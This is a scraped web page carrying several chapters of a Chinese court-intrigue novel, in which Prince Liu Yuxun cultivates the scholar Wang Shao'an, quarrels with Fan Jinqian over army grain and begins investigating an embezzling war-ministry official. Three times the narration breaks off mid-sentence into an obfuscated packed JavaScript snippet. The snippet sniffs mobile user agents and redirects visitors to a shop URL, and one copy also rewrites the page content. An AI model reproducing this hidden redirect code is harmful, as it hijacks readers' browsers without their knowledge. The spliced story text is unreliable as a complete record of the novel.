他站起身来，踱步到窗前，暮色里推开窗，秋夜的寒凉裹挟着月光涌了进来，温柔的清晖透过枝桠，在窗台上投下斑驳的影，刘聿洵轻吸一口微凉，清冽的空气顺着喉咙滑进肺里。 “近日太子跟王绍安可有走动？” “未见有往来。” “哼，太子这次总算是学乖了。”刘聿洵抬头望着沉静的月色，嘲笑道，“要不是我这个皇兄如此这般喜欢勾结朝臣，今日我也没有机会留在万安城。如果到今日他还没有看透父皇的意图，还像从前行事那般跟王抃攀亲，那我们也就没那么辛劳了。” 刘聿洵低头看了一眼自己包扎的伤口，重又将目光转到夜空中。 “全胜不明，既然皇上厌恶皇子结党营私，为何殿下还给王家下帖子，如此一来岂不是让皇上误会我们也有攀附朝臣之心？” 李全胜想到白天在北城门发生的一幕，自己的主人既然知道太宗不喜皇子勾结朝臣，为何自己却不避嫌还要给王绍安下帖子，难不成真是为了那个姑娘？ “我同太子可不同。父皇既然想让我留在万安城内成为制衡太子的那颗棋子，自然也希望我有制衡太子的实力。这次赖长兴的事让我在朝堂上丢了不少的信任，我想父皇也不会在乎我去结交王家的。”刘聿洵像是终于想到了破局之法，重新又回到棋案之前坐下，捻起黑子，继续说道，“再说了，王抃现如今能官拜通政使，除了其有挽回朝廷颓势之才干，更重要的原因是父皇需要他来分散赵普的权力，但想要跟权势滔天的赵相缠斗几个回合，我想父皇他是喜闻乐见王抃有我这样的盟友的。” “可是王大人向来风骨凛然，耻附权门，怕是难以接近。” 李全胜大概听了个明白，但想起平日里王抃的为人处事还是为刘聿洵担忧。 “这不正好，现在我们不是有王太初的帮助了吗？” 刘聿洵沉吟良久之后，他的眸光骤凝，将那枚黑子铿然落下。 12. 第四章 雍王聿洵（一） 从万安宫万安门出一路向南，过御街右拐入通天巷，有一座规制并不算大的府邸，这便是太宗皇帝第三子雍王刘聿洵的王府。 雍王刘聿洵是宫中曹贵妃的独子，虽说正德二十八年，太宗皇帝刘祀已然在太庙昭告天下拥立故皇后独子，刘祀的嫡长子刘聿恒为未来的储君，但是这庙堂之上，市井之中却从来未有断绝过三皇子雍王会取太子而代之的流言。 大庆的皇子成年之后多会在封王之后离开万安城居于分封之地，非召不得入京。太宗的第二子淳王便是如此，在获得荫封之地以后便举家奉旨出京，至今未有回来一次。而三皇子却很是不同，虽然已获封雍王，也有荫封之地，但太宗还是在万安城内，在离万安宫不远的通天巷为其建立府署，让其长居万安，伴在身侧。 虽然同外界说起的都是曹贵妃身体欠佳，刘聿洵留京侍疾，但是藩王长期留在京中这样的大事，不免让百姓让百官生出不少猜想。再者故皇后虽是太宗唯一的皇后，但是斯人已去，结发夫妻那些遥远的山盟海誓，自然抵不上此时的枕边人来的贴心暖人，自古帝王为了美人另立太子的故事也是时有发生，更何况这个美人还是宠冠后宫的曹贵妃，而这个儿子还是战功赫赫的刘聿洵。 而更可笑的还属朝堂上的那些大臣，都察院的那些大夫们，当年太宗登基之后，为了遵循先太后的遗愿，唯恐亲生兄弟之间生了嫌隙，便下诏想让康王刘骁从封地回京，却不曾想遭都察院御史们进谏。后来也是跟中枢百般斡旋，康王刘骁愿意归还藩王一切权制才得以入万安城做起他的快活“皇弟”。 当时尚且是天下已定，太宗已然继位的太平盛世，这个长居万安城的藩王也是太宗的亲兄弟，而朝堂百官也知道，无论是从能力还是动机来看，康王也万万没有抢夺天下之能力和野心。 可是雍王刘聿洵却不同，他内有身份尊贵的母亲作为他的后盾，外有赫赫军功为他作保，甚至在朝堂之上他也颇有口碑，像刘聿洵这样的皇子被留在万安城内却从未有言官有过微词，让刘聿洵在这万安城内安安稳稳地呆了如此之久。 要不是此次刘聿洵巡视北境如此这般顺利，锋芒实在难掩，对刘聿恒的太子之位有了更深的威胁，那些站在刘聿恒的身后，依仗着太子恩泽的官员也不会让都察院冒险集中发难，将这弹劾雍王的奏章直接递送到促成雍王分封留京的始作俑者太宗的手中。 如若没有昨日朝堂之上崇政殿讲席和那篇《议礼之说》之事，对于王绍安这样的书痴来说，他是愿意去雍王府鉴赏那本《明州趣志》的，因为身为白衣的他不怕自己被人冠上攀附皇子的罪名，那篇《议礼之说》也只是一篇大富之家嫡子次子何人继承家业的民间故事罢了。 可是现在不同了，从昨日朝堂之上便可探见，在这万安城内没有人将其单独看作是明州城的白衣王绍安，他们将他的名字和通政使王抃王大人联系在一起，如若想要借题发挥，那篇《议礼之说》便可被曲解成为王家攀附雍王的敲门砖。 王绍安知道这或许是陷阱，或许刘聿洵也看出了《议礼之说》中那篇关于嫡庶文章的可为他所用之处，此番邀约只是他为自己为王家设下的陷阱，逼迫王家站在他背后的圈套。 可是一介白衣又如何能拒绝雍王的邀请，那本《明州趣志》如若要让此时这万安城内的人来品析一番，最适合的人选似乎也只有他这个从明州而来的王绍安了。 王绍安骑在马背上，看着行在自己身侧的轿辇倒也觉得心安。 昨日听闻雍王邀请自己入府时，王太初顺口就嚷着要一同前往，说什么听闻雍王府的菊花开得比康王府的更是艳丽。女眷无故入雍王府虽然不妥当，但是转念一想，如若有女眷在旁，便也就没人怀疑自己是借《议礼之说》攀附皇子了吧。毕竟哪个男人密谋结党攀附之事的时候，会带着自家的女眷一起。所以没等王太初上演死缠烂打的戏码，王抃和王绍安便答应了下来。 “这雍王还真是一个不靠谱的人，还邀请哥哥一同前去，倘若哥哥一直跟在你我身边，我们哪里有机会能找到那个四和香 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“在下唐突，麻烦李副将代为禀告一声雍王殿下，小妹那日在康王府赏菊时听闻雍王府邸的菊花比康王府开得更好更艳些，便吵嚷着要一同跟来。”王绍安此举也是有所思量，带着王太初赴约，虽有无礼之处，但是总好过被冠上勾结皇子的罪名。他甚至觉得，大不了刘聿洵实在觉得唐突，他带着王太初离开便是。 可是却没想到，王太初那日在康王府的闹剧，已然让她的名声跌到了如此境地。李全胜丝毫没有对眼前不请自来的王太初有何意外之意，也没有前去请示刘聿洵，反而自己便做了主，回话道：“平阳郡主今日正好在王府后院赏花，王姑娘若有兴致，我便让小厮领着王姑娘前去。” 说罢，李全胜便招呼来了一个小厮，言语了几句以后，就继续说道：“府里的女使现下一应全在后院的花圃，王姑娘请自便。” 王太初跟着向王绍安请安道别之后，就跟着小厮朝着后院花圃走去，丝毫没再管自己的大哥哥。 13. 第四章 雍王聿洵（二） 刘聿洵的书斋不似万安城内其他府邸那般，安置在静谧清幽之处，却偏偏在前院最是喧闹的兵器库旁寻了几间朝南的屋子便作为了书斋，远远看着毫无文人风采，但翰墨斋这名字却也能见其主人的用心。 王绍安随着李全胜跨门而入，书斋内却是别有洞天，为了取得足柔之光，室内窗牖都嵌入了云母片，墙面上亦是挂满了名家书画，为书斋增添了不少文雅之气。其中的书桌椅凳，书橱书架，文房四宝一看也皆是名家之作，想来书斋的主人为了收集这些物件也是颇费了一些功夫。更甚的是齐列于书橱书架之上的藏书，排次井然，浩若烟海。王绍安看到如此这般花费心血打造的书斋，想来雍王也定是爱书之人，他摇了摇头，觉着自己来之前先入为主的猜疑并不是君子所为。 “草民，拜见雍王殿下。”王绍安跟着李全胜走到里处，便对着正在案前摆弄着香炉的刘聿洵行了一个君臣之礼。 “王公子免礼。”刘聿洵侍弄香炉的手未停，只是浅浅地道了一句，便用眼神示意王绍安落座，“近几日气候不定，昼夜温差悬殊，我特意让香局在此香之中加了一些姜黄，王公子正好帮我闻闻，是否会过于辛辣。” 刘聿洵语气淡漠，丝毫没有了那日在康王府对太子咄咄逼人之态，在王绍安看来他虽说有着一个皇子的威仪，却也不失君子的翩翩，在君权之下，他亲自侍香，这本就是作为百姓的无上荣耀。 “雍王殿下抬举草民了，草民不矜细行，不甚懂香，只是……”王绍安刚落座，李全胜就端着茶盏晃晃荡荡走了进来，他五大三粗的样子，一看便知是在军营中历练的粗汉子，只是手中的这套白瓷茶具很是精巧细致，被他粗短的手端在手中甚是不稳的模样。王绍安见状，忙从座椅上站起了身，迎了上去，接过茶盏。 “王公子见谅，府里能做上一杯好茶的女使都被平阳郡主招呼去了后院的花圃，也只能由着我们这些军中的粗人给公子做上一杯茶了，公子莫要嫌弃才是。”刘聿洵边说着边将云母片放在香炉中，最后轻轻地将香材放在云母片之上，将手覆盖在香炉之上，继续说到，“温度刚刚好，‘隔火熏香’之法没有烟雾，麻是麻烦了些，对书册的损坏却少。对了，方才公子要说什么？” “启禀殿下，方才草民想说的正是熏香对书籍之害处，尤其是古籍刻本，多是纸张脆而不坚，再者引明火入书斋，尽管万般小心，也纵有一时疏忽之时，恐怕会引起火情，将这满屋书籍陷于危情。”王绍安向来嗜书如命，纵使在他眼前之人是高高在上的雍王，也难以掩盖他的爱书之心，多嘴了一句，“但见殿下用隔火之法，定是要好上不少。” “绍安公子此言倒是同我一位友人一样，他也是同你这般惜书如命，今日邀公子前来赏阅的《明州趣志》便是出自他的收藏，只是此人现下正在吏部述职，那本《明州趣志》他不放心先交付与我，所以只能请王公子同我一道在此处稍候片刻了。”刘聿洵含笑将香炉推到一边，丝毫没为王绍安的“以下犯上”而有任何不悦。 “雍王殿下所说之友人莫非姓范？”明州城内能有《明州趣志》这等古籍之人除了明州府同知范金谦也没有别人了。 “正是明州府同知范金谦，王公子可是同范大人相识？”刘聿洵倒也未表现得过于吃惊，只是微微抬了抬眼问道。 “范大人在明州城内颇有盛名，道术德义自不用说，热衷收集书籍更是远近闻名。听闻范大人书阁之中有不少孤本，草民一直心往神驰，今日有幸能看到范大人的藏书，是托了雍王殿下之福。”王绍安起身向刘聿洵行了一个礼，从入门到现在，也只是在刚刚刘聿洵才在王绍安的脸上看到喜不自禁之色。 如他所预料一般，王绍安果然是一个嗜书如命之人。那日康王府赏菊宴以后他便找了小厮跟着王绍安，发现此人除了应邀参与各家公子的雅宴之外，剩余的时间都只花在了各个书集书市之上，甚至有一次为了买到一本字帖还与人叫上了好几回价。碰巧两月之前自己知道范金谦要进京述职，也知道他得了几本地方趣志便想借来看看，便要他一起带了过来，赶巧所有事情碰到一起，才让他有了此刻招揽王绍安的最好的开场白。 王抃在朝为官数年，在中枢任职也有些年头，向来忠勤敏达，不喜拉帮结派，对于这样的人，那些只知奉承迎合、骑墙滑头之麻雀又怎能知道他的鸿鹄之志，在昨日的朝堂之上如此病急乱投医。 不知为何，此时刘聿洵也想起了王太初，这一家子确实是有趣，各个率性坦率，明明最是不适合在万安城内吃官家这碗饭，现下却都被卷进了这朝堂的最深处。 “范大人早些时候就写信同我说起自己得了几本地方的趣志，记载风俗详尽，有些民俗都已在如今的生活中不再有见，其中有本《明州趣志》里面详悉描绘了百年之前明州的风俗人情。一来我觉得王公子可能会有兴致，二来我也有私心，想着让王公子前来做个古往今来的对照，看看同百年之前相比，这些民俗现今在明州是否有所区别，还是彻底消失不见了。”刘聿洵举起茶盏轻抿了一口茶，蹙起了眉，缓缓放下，“王公子受累了，全胜放茶粉没有轻重，我让他给您换上一盏茶。” 说着刘聿洵便吩咐李全胜撤走了案桌上的茶盏。 “不瞒殿下，草民不仅不谙香道，对这茶道也是一窍不通，虽说李大人茶粉多放了些，但是草民觉得这甘苦之味倒也是提神醒脑。”王绍安恭敬地冲着前来撤茶的李全胜行礼，然后用手挡住茶盏，表达喜好之情，“倒是殿下所说明州的民俗风情，我也曾在地方上收集过一些地方志，虽然不及范大人那本《明州趣志》年代久远，但如果殿下对地方习俗有兴趣，我可以寻人顺道从明州送来万安。” “那便再好不过。前几年我奉命前去南境巡边，临行之前，兵部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“确如殿下所言，前些年我曾去过黄河流域实地勘探寻找治水之法，让殿下见笑了，草民少时便是这般心气高，妄想凭借自己孤身之力去找这千百年来难题的解决之道。”王绍安讪讪一笑，继续称述，“虽说对这治水之道不定能有何帮助，但有一点却可作为殿下观点之佐证。千百年来，无论是河道自身的变化，还是我们人为对河道的改造，确实也都可以在地方风俗之上瞧见端倪。就比如，有的黄河支流沿岸，原本都有祭祀河神的习俗，河道改道，支流枯竭之后，这祭祀河神的习俗也就没了。虽说此例极端，但确实说明，风俗同地理有关。另外有一例子，也是支流枯竭，依水而居的年轻人大多迁徙离家，村子里也便只余下老弱之人，自然那些需要精壮劳动力的习俗也便没了踪迹。草民不懂战事，今日听闻殿下一言，便想起了您刚才所言之理，风俗和地理气候相关，地理气候能影响战事，那风俗自然和战事相关。” “能得王公子此言，也不算我探究错了方向。公子初来万安城，平日里定是朋酒之会，不甚繁忙，今日还想着让公子跑上一趟，多有叨扰，见公子刚才所言，既然对古籍藏书有兴趣，又觉这些风俗人情之类的书籍也颇有用处，便能宽我之心，我也便算不上烦扰公子了。”刘聿洵话语间尽显客气，也不似王绍安刚入府时那般威仪。 “如若今日真能为殿下所寻出分毫之力便是草民身为大庆子民之福分。”王绍安再起身作揖，眼神里刚进府时的防备也卸下了几分。 “王公子如此多礼倒是见怪了。”刘聿洵招招手示意坐下，“本就是王公子帮我的忙，本应是我感谢公子才是。” 14. 第四章 雍王聿洵（三） “你们如此谢来谢去的，如此客套，倒不如来谢谢我，我可不似你们，千山万水带着这本古籍前来，我当得起你雍王殿下的谢。”还未见人，便已经听到范金谦爽朗的笑声，不多时，就瞧见了身着官服的范金谦出现在书斋门口，身后跟着的书童怀里抱着一个匣子。 “草民王绍安，问范大人安。”王绍安起身恭敬地向范金谦行了礼。 “王公子免礼。”范金谦忙向前几步托住王绍安的手，“绍安公子在我们明州可是名声在外，我也拜读过王公子的好几篇文章，每每读到都是颇有收获，所以虽说是第一次得见，但我早已把绍安公子当成了故人，万万不必多礼。” “我时常在想读书爱书之人，本应是王公子这般懂礼之人，即使不是王公子这般，也不应是像范大人你这样莽撞粗糙之人。”刘聿洵虽还是端坐在案前，似是这个书斋里有了一个他真正熟悉之人，他看上去放松了许多。 “王公子莫见怪，雍王殿下是在冲着我不服气呢。”范金谦找了一个离两人都近的位置坐下，“几年之前，他跟我在万安城的书集同时瞧上了一本兵集，当时我瞧着此人衣着不凡，气宇轩昂的样子，觉得必定是这万安城的名门之后，正面张罗必定是比不过这地头蛇，便厚着脸皮趁着他同老板说价的时候扔下书钱，便把书给拿走了。可万万没有想到，他竟会是皇上的儿子，硬是在这万安城内找到了我下榻之处，用皇子的身份从我手中又把那本书给买了回去，真是气煞我也。”范金谦俯首捶胸，好似这么多年过去了心中还有不满。 “哈哈哈，说起来，兵不厌诈这一课还是范大人你给我上的。”刘聿洵也不恼，只是哈哈一笑，戏谑一句。 “王公子可给我评评理，这哪里是桩公平的买卖，这分明是强买强卖。回到明州以后，我便是越想越气，几宿几宿地睡不得好觉，便写了一首诗文。”坐定以后，李全胜便端着茶盏上前，范金谦似是口渴难当，接过茶盏便牛饮了起来。 “王公子不知，那可是一首绝妙的诗文，通篇全是赞美我之词，但句首之字相连，确是‘强买强卖’四字。”刘聿洵见范金谦饮尽，便招呼李全胜再续上一盏，“范大人可真是想出那口怨气，却又怕对皇子不敬引来杀生之祸，但也确实要将这强买强卖的罪名扣到我的头上，便将这词有意地藏在句首。” “在下虽然食朝廷俸禄，但心中不愤自然也是要发泄。”范金谦回头对着重新做茶的李全胜说道，“李副将给我来一杯清水便可，方才在吏部汇报工作，讨论激烈了一些，现下正有些渴了。” “是呀，他还怕我看不明白，定要大大方方地写在这句首之处。”刘聿洵笑道，“吓得我当晚便找人将那书摘抄出来，快马加鞭便找人将原书给他送回了明州。更可笑的是，后来他竟还让人把买书的银子带给了我。” 说到此处，刘聿洵和范金谦便仰面哈哈大笑，王绍安向来敬重范金谦，这书痴和皇子争书的故事也确实是生动好笑，便也没有顾忌地笑了起来。 有了范金谦的加入，王绍安不仅没了初来时的忐忑，倒是有了相见恨晚的感触。他们或谈经史之幽微，或论诗文之精妙，或道典籍之奇遇，竟也不察觉时间的流逝。 直到李全胜进来禀告平阳郡主准备离府，三人才惊觉此时已是金乌西坠，暮色四合。 雍王府门口，长随早已点起了灯笼，烛火在油纸灯罩内轻轻跃动，将浑圆的光晕投在府门前两位娇俏的少女身上。她们并肩而立，王太初不知说到何有趣之事，平阳郡主便拈着帕子轻笑起来。 “说什么有趣的事情，也说与皇兄听听。” 晚风掠过，灯笼在风中轻晃，明灭不定的烛火如游弋的流萤，忽而照亮她们的脸庞，忽而隐入朦胧，只剩一个模糊的轮廓。 “姑娘间的秘密，皇兄自不用知道。”刘昭宁见有外男，便收敛起笑容。 “草民，下官，给平阳郡主请安。” 王绍安和范金谦垂着眼帘给刘昭宁行了一个常礼。 “不必多礼，今日本就是来赏花的，不必在乎虚礼。”刘昭宁抬了抬手示意两位起身，“只是没想到这雍王府的花倒是差强人意，人确是有意思的很。” “哦？”刘昭宁自小生于朱楼绮户，四海奇珍皆入眼底，天下风物尽藏心间，这般优渥境遇，令她目极千里，鲜少会觉着什么物件什么人是有意思的，刘聿洵看了一眼站在她身侧犹自挂着笑的王太初，倒是真的被引起了好奇心，追问道，“那我倒是更好奇了，王姑娘到底是说了什么做了什么让你都觉着有趣。” 刘昭宁看着他探寻的目光，没有说话，只是向前走了几步，附在他耳边轻声说道。 “王姑娘是有意思，但是聿洵哥哥更有意思。” 她眼角微微上挑，细长的丹凤眼里荡起玩味的笑容。 “整个万安城现下可都不待见哥哥你，我也是冒了很大风险才来的你府上，可不能回去晚了让爹爹发现。” 还未等刘聿洵品味出她话里的意思，说完刘昭宁就在跟王太初点头示意以后被搀扶着进了马车。 “今日承蒙殿下和范大人拨冗相待，草民心中感念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“范某虽不喜欢朝堂中的尔虞我诈，但也绝不是酸腐之人，我入城便听闻了赖长兴之事，想必今日朝堂的局势也势必不再允许殿下不党不私了。”范金谦叹了口气说道。 “范兄能理解我便好。” “雍王殿下的为人我自是信任，否则我也不会帮着查明州府运粮北上的可行性。”范金谦像是不想再就此事讨论下去，话锋一转。 “哦？可是有什么好消息？” 刘聿洵听闻此言，眼神中的迷茫也一扫而光顿时清亮了起来。 “说来话长，回书斋细聊。” 15. 第四章 雍王聿洵（四） 翰墨斋的书案上早已摆好了新茶和精巧的茶点果子，府中的使女在添上新香以后，皆退出了房间，只余下李全胜守在刘聿洵身侧。 “这样比较起来，李副将的茶确实是难以下咽。”范金谦抿了一口新添的茶，问道，“刚才这些个女使丫鬟都去哪里了？” “方才她们都到后园子去了。” 刘聿洵想起了平阳郡主离开时说的话，好奇之心又被勾了出来，便开口问道。 “王姑娘在后园子都说了做了些什么？” “没有其他，只是见着一个女使就跟她们说王公子已经婚配，还有……” “还有什么？” 见李全胜支支吾吾没有继续往下说，刘聿洵催促到。 “说王公子有隐疾。” 李全胜看着刘聿洵的脸色变了变，适才他刚听到这些的时候也如刘聿洵这般不敢相信。 “哈哈哈，怪不得平阳郡主说此女有趣。”此时范金谦正端着茶盏轻啜，听闻此处，笑意骤起间喉咙一呛，连声咳嗽，“到底是什么事情，需要她这样败坏自家哥哥的名声。” 刘聿洵都能想到王太初在后园子的样子，他的眼前突然出现了那日在康王府王太初那些口不择言的话语，如刘昭宁所说那样，她的确是个有意思之人，一个有趣的妄人。 “此事我已经允诺王姑娘不对外说起，还望范兄见谅。” “好好好，我不强人所难，只是不知道绍安兄听闻此事会是何感想。” 范金谦清了清嗓子不再追问，收起笑容，表情神态突然严肃认真了起来。 “年初之时殿下嘱咐我调查的事情，现下已经有了眉目。” “可行？” 刘聿洵悬心久矣，急欲知其果，无暇询问本末。 “不可行。” 范金谦看着他急切期盼的眼神，话语间也没有多余。 “我仔细探查寻访了一番，更是认真比对了价格，了解到从江三口北上运来万安城的军粮都是从越州府清平县而来。如果真如殿下所言贪贿之事发生在万安城，照理说直接让军粮从明州府三江口北上直达西境而不过万安理应能便宜不少。但是事实却并非如此，粮食从越州府到达明州府之时，那粮食的价格已逾常数数倍。” “哦？越州府毗连明州府，近在咫尺，即使粮食都是从清平县漕运而来，水路亦不过数百里耳，更何况今年并未听越州府有何灾情，粮价岂会翻数倍之多？” “臣也觉着奇怪，因此找了可靠之人前去清平县调查，今年虽无灾情，粮食产量也尚可，但是能流通于市场的却不多，因为清平县的百姓，有积欠的粮食要还。” “怎么会？”刘聿洵的眉毛蹙在一处，继续问道，“前些年清平县灾情严重，逋赋过多，难以完纳，朝廷已经接受越州府知府李茂才的请求豁免了那些年的赋税，何故还有积欠的粮食要还？” “不仅如此，清平县的百姓事实上多数已无田地可种，灾情最严重的那些年，好些个农民卖掉了土地成为了佃农，或者有些干脆成为了富户的家奴，所以清平县的粮食，产量有多少，流通到市场上又有多少，这些话语权都已经落在了少数人的手中。” “可笑，如此这般，他李茂才倒是不管了？” “李知府管了，挨家挨户上门拜访，只是多数都以粮食质量不过关为由，拒绝流入市场，此番要不是章长兴出面，恐怕连这些军粮都凑不齐，更别奢谈什么价格了。” 范金谦长叹一口气，年初他收到刘聿洵的信件，说起西境军粮吃紧的消息，原本想着今年风调雨顺，甘霖应时而降，此岁必当仓廪丰实，如若直接从南方直运西境，必定能解西境之急，却没想到事情并没有那么简单。 “朝廷对军队每年的拨款都有定额，如果粮价控制不住，周致正的部队就只能饿肚子了。” “臣倒有疑问恳请殿下解答，周致正的西军和徐涛达的北军互成犄角之势，两军之间彼此距离也不远，何故此次只有西军向兵部求急，而北军却可自足，更何况据我所知安西县屯田所产之粮大部分也都是先紧着西境。” “那可是说来话长了。” 刘聿洵唇角微扬，鼻息间泄出轻嗤，眼尾斜挑示意李全胜。 好一会便看到李全胜拿了个锦盒过来，放在案上打开。 范金谦好奇拿起盒中之物，打开细看，倒吸一口冷气。 “十万两，见面礼。”刘聿洵拿起茶盏，想顺顺气，“如此阔绰，徐都督用得着向兵部求急？” “此人胆子也忒大了些。”范金谦将银票扔回锦盒中，愤愤而言。 “可不是，今年西面年景不好，安西县田亩产量有限，周致正急件来京求的也不过是两万石粮食，即使是按照现今贵价一两一石计算，整个西军要的也不过是两万两。可这个徐涛达倒好，初次见面就给我塞了十万两，还说让我买茶喝，我倒是好奇的很，这徐都督平日里喝的到底是什么茶水，竟如此金贵。” “哈哈哈，可见殿下平日里在外的名声也是一片狼籍呀。” “人若没有欲望，就没有破绽，没有破绽，请君入瓮这出戏便没法子演。这样也好，如若我真的在外经营两袖清风的形象，这徐涛达的银票还递不到我跟前呢。”刘聿洵抬眼示意李全胜将银票撤走，“我从未指望徐涛达这样的人能如同周致正那般捍患御敌，有让鞑靼望风而溃之气魄。我也早已听闻北军有吃空额，冒领军饷入私囊的嫌疑，但水至清则无鱼，只要他们能将鞑靼挡在边境之外，朝廷不会在意那几个三瓜两枣。况且徐涛达的北军蔽翼张势，向来只是西军的掩护之军，但功劳战功周致正从未少过他北军的。如今倒好，出入锋镝之军连饭都吃不上了，这北军居然还能使大钱贿赂本王。” “如今军队各级将官都吃空额，按籍虽有名，营伍却无兵，趁着殿下手上有徐涛达行贿的证据，何不趁此机会杀鸡儆猴。” 范金谦话音刚落，刘聿洵握着茶盏的手顿了顿，喉结滚动两下才缓缓开口道。 “徐涛达是赵普的门生。” 他没有过多的解释，只淡淡说了一句，眼底的光一寸寸暗了下去。 范金谦开口想要劝解几句，却不知如何开口，面对权倾朝野的赵普，他也只能以茶当酒，长叹一口气蒙头饮尽。 “呵呵，范兄也不必叹气，好在你我现在有徐涛达的十万两，对西境的将士来说也算是个好消息。” 刘聿洵深吸一口气，眼中的纠结和烦闷瞬间消散。 “请范兄带这十万两帮我在明州为西军筹措军粮，不经万安府直接走陆路运送去凉州府，从未有如此数量粮食走过那条路，此次也正好走一趟测试一番。” “可是短时间内在市场上筹措如此数量的粮食，恐怕会推高明州府的粮价。” 范金谦在心中盘算了一番开口问道。 “如果直接去越州府采购粮食呢？”刘聿洵顿了顿，目光沉了沉，改口道，“此事还需在暗地里进行，不可声张，恐怕还不能直接去越州府采购，看来还是得先苦一苦明州的百姓了。”刘聿洵看着不发一言的范金谦，继续说道，“范兄知道，鞑靼长年累月犯我边境，军情紧急，兵凶战危，西境若失，如门户洞开，万安府便无险可守。” “近日在万安城述职鄙人也有耳闻一些闲言碎语，说是周致正留在万安城的姑娘对殿下很是情有独钟，殿下如此想方设法帮助西境，恐怕为的是这个吧。” 范金谦向来爽直，他当然知道通往权力巅峰的阶梯，每一级都沾着洗不净的血污和牺牲。可是当刘聿洵的嘴里，轻描淡写地说出苦一苦他明州府百姓之时，他却难掩心中怒火。 “范大人无礼。” 李全胜听出范金谦话中的讽刺，抢先一步怒喝。 “无妨。” 刘聿洵轻笑一声，抬手阻止李全胜的继续发难。 “哼，我如此这般无礼之人就不在这里讨嫌了，今日在吏部述完职，明日我便启程回明州了，殿下还是另找他人吧，就此别过。” 范金谦怒气冲冲起身，抱拳行礼以后，便推门扬长而去。 刘聿洵望着范金谦离去的身影，轻叹一声站起身，眼底翻涌着一丝不易察觉的无奈和怅然，但很快如潮水般迅速退去，取而代之的是坚定和冷锐。 “殿下。” 李全胜在身侧小心询问。 刘聿洵重新坐回案前，神色冷峻喃喃道：“原本想着压低征购价直接从明州府送军粮去凉州现下看来已无可能。而且照着范兄的说辞算来，从明州漕运入万安这一段所耗水脚银也并不占大头。那我们就只能从万安府去往凉州府军粮被劫之事开始查起了，这么些时间了，万安到凉州的路程到底是哪个环节出了差错还没查到吗？” “我们留在北境的人已经沿着运粮的路线倒着追查了一路，只在军报上那几处流民抢粮的地点发现了打斗痕迹，但是所有运军全部被灭口，所以也没得到什么有用的线索。” “那看来是军中有奸细呀，否则怎么会对军粮运输的路线如此了如指掌。” 他一直觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16156331|180575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，郑岐玉执掌兵部以来，铁腕肃纪，兵部风气清正，贪墨之弊近乎绝迹，但今日看来在那些他们看不到的缝隙处还有见不得光的勾当。 刘聿洵无奈摇头低头揉了揉酸涩的眼睛，指腹还未从眼眶上移开，余光突然扫到桌案上歪斜着的小瓷瓶，是方才王太初塞给他的金创药。 他宠溺地轻笑一声，她好像总是这般没心眼，怕是没有搞明白刀伤剑伤同姑娘家的磕磕碰碰是不同的，她觉得好用的金创药，对刀剑之伤来说怕是什么用处都不会有。 虽是这么想着，指尖却早已经熟练地拧开了金创药瓷罐。草药的辛香混着暖意漫开，他望着罐内暗褐色的膏体，想起了那日在康王府内她追着自己询问四和香的样子，那对海棠花钗环在她的发间晃个不停。 脑袋中灵光一现。 他想起了王太初背景中的那对惹人注意的东珠耳饰。 “查辛起山。” “谁？” 李全胜没听清，追问到。 “兵部职方司郎中辛起山。一个小小的五品官员，女儿确是满身珠翠，那对东珠耳饰更是晃得人睁不开眼，要不是他这个郎中祖上富贵，剩下的可能就只有他贪墨钱财了。”刘聿洵挖了一大块药膏在掌心揉开，涂抹在伤口处，暖意如活泉般顺着肌理渗透，他继续补充道，“兵部职方司的职责之一便是确保粮道通畅，自然对运粮的路线也是了如指掌，最是有作案的条件，派几个人日夜盯着辛起山，有线索了直接向我汇报。” “属下这就吩咐下去。” 李全胜领命，匆匆往屋外走，刚迈出门槛又猛地停住，转身望着屋内迟疑道，“范大人那边？” “明日你先去绛云斋买了红豆糕去驿站门口等着他，顺带着将那十万两带给他。”刘聿洵想到刚才怒气冲冲离开的范金谦，摇摇头，“顺便告诉他让其从西城门出绕开凤栖县南归，近日有官员上报，从凤栖县来的人中有不少都莫名其妙地发烧和咳嗽，他这书呆子身子羸弱怕是扛不住。” “属下遵命，只是如果范大人不收银两呢？” 范金谦爱民如子，断然不会做推高粮价这样损害百姓利益的事情。 “那你就转告他，如若他不收，你就会去一趟明州城为我筹粮。他可精明着呢，他知道他自己个儿去还能拖着些时间节奏，不至于让明州府的粮价崩得太快，如果是我派人去了，可更管不了他百姓的死活了。” 刘聿洵哈哈一笑，抬手随意挥了挥：“记得不要偷懒，一定要买绛云斋的红豆糕，他嘴可叼得很，吃得出来。” 此时戌时的一更鼓响过不久，夜色渐深，街巷里的喧闹慢慢退去，城北销金巷反倒更热闹了。灯笼照得满街通红，酒楼里划拳声、碰杯声、唱戏声混作一团。舞姬甩着水袖在台上飞旋，台下叫好声此起彼伏。街尾醉月楼二楼角落的厢房前四个身着黑色劲装的护院抱臂而立，将厢房与楼下的喧嚣彻底隔开。 “他能查到个屁？” 早些时辰户部清吏司郎中沈泰派人来府中邀请辛起山前往醉月楼喝酒，原本想着是不是有新的买卖要商量，却不想得到的却是要他暂时收手的消息。 雍王对军粮屡次遭劫有所怀疑，派人暗入西境沿途探查，可在辛起山看来这算不得什么打紧的事情，自己做事狠绝从未留下一个活口，即使是派再多的人调查也查不出什么来。 